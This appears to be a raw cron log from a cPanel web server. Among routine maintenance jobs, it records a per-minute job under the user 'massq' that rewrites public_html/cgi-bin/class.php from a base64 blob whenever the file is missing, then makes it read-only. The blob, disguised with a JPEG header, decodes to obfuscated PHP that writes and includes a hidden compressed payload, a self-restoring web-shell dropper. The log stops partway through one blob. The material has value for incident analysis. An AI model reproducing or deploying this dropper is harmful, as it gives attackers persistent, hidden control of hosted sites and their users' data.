Sep  1 16:24:01 server CROND[18209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:24:01 server CROND[18210]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:25:01 server CROND[18587]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 16:25:01 server CROND[18589]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 16:25:01 server CROND[18594]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 16:25:01 server CROND[18593]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:25:01 server CROND[18595]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 16:25:01 server CROND[18591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:25:01 server CROND[18590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:25:01 server CROND[18592]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:26:01 server CROND[19433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:26:01 server CROND[19434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:26:01 server CROND[19435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:27:01 server CROND[19826]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:27:01 server CROND[19828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:27:01 server CROND[19827]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 16:27:01 server CROND[19829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:28:02 server CROND[20293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:28:02 server CROND[20294]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:28:02 server CROND[20295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:29:01 server CROND[20659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:29:01 server CROND[20658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:29:01 server CROND[20660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:30:01 server CROND[21052]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 16:30:01 server CROND[21053]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 16:30:01 server CROND[21070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:30:01 server CROND[21074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:30:01 server CROND[21075]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 16:30:01 server CROND[21073]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:30:01 server CROND[21078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:30:01 server CROND[21072]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  1 16:30:01 server CROND[21071]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 16:31:01 server CROND[21904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:31:01 server CROND[21905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:31:01 server CROND[21906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:32:01 server CROND[22315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:32:01 server CROND[22316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:32:01 server CROND[22317]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:33:01 server CROND[22683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:33:01 server CROND[22684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:33:01 server CROND[22685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:34:01 server CROND[23332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:34:01 server CROND[23333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:34:01 server CROND[23334]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:35:01 server CROND[23724]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 16:35:01 server CROND[23725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:35:01 server CROND[23730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:35:01 server CROND[23728]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 16:35:01 server CROND[23731]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 16:35:01 server CROND[23729]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 16:35:01 server CROND[23736]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:35:01 server CROND[23735]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 16:35:01 server CROND[23733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU